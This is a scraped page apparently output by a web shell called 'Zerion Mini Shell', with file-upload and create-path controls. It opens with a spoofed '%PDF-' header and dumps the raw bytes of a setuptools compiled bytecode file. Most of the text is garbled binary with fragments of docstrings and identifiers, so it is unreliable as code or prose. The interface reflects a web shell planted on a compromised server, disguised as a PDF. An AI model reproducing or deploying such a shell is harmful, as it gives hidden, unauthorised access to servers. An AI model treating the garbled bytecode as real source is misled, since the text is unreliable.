%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core22/current/lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Create Path :
Current File : //snap/core22/current/lib/python3/dist-packages/setuptools/__pycache__/extension.cpython-310.pyc

o

�_�a��@spddlZddlZddlZddlZddlZddlmZdd�ZeZ	eej
j�ZGdd�de�ZGdd	�d	e�Z
dS)
�N�)�
get_unpatchedcCs0d}zt|dgd�jWdStyYdSw)z0
    Return True if Cython can be imported.
    zCython.Distutils.build_ext�	build_ext)�fromlistTF)�
__import__r�	Exception)�cython_impl�r	�6/usr/lib/python3/dist-packages/setuptools/extension.py�_have_cython
s�rc@s eZdZdZdd�Zdd�ZdS)�	Extensionz7Extension that uses '.c' files in place of '.pyx' filescOs.|�dd�|_tj|||g|�Ri|��dS)N�py_limited_apiF)�popr
�
_Extension�__init__)�self�name�sources�args�kwr	r	r
r!s zExtension.__init__cCsNt�rdS|jp	d}|��dkrdnd}t�tjd|�}tt||j	��|_	dS)z�
        Replace sources with .pyx extensions to sources with the target
        language extension. This mechanism allows language authors to supply
        pre-converted sources but to prefer the .pyx sources.
        N�zc++z.cppz.cz.pyx$)
r�language�lower�	functools�partial�re�sub�list�mapr)r�lang�
target_extrr	r	r
�_convert_pyx_sources_to_lang's
z&Extension._convert_pyx_sources_to_langN)�__name__�
__module__�__qualname__�__doc__rr!r	r	r	r
rsrc@seZdZdZdS)�Libraryz=Just like a regular Extension, but built as a library insteadN)r"r#r$r%r	r	r	r
r&6sr&)rr�distutils.core�	distutils�distutils.errors�distutils.extension�monkeyrr�
have_pyrex�corerrr&r	r	r	r
�<module>s

Zerion Mini Shell 1.0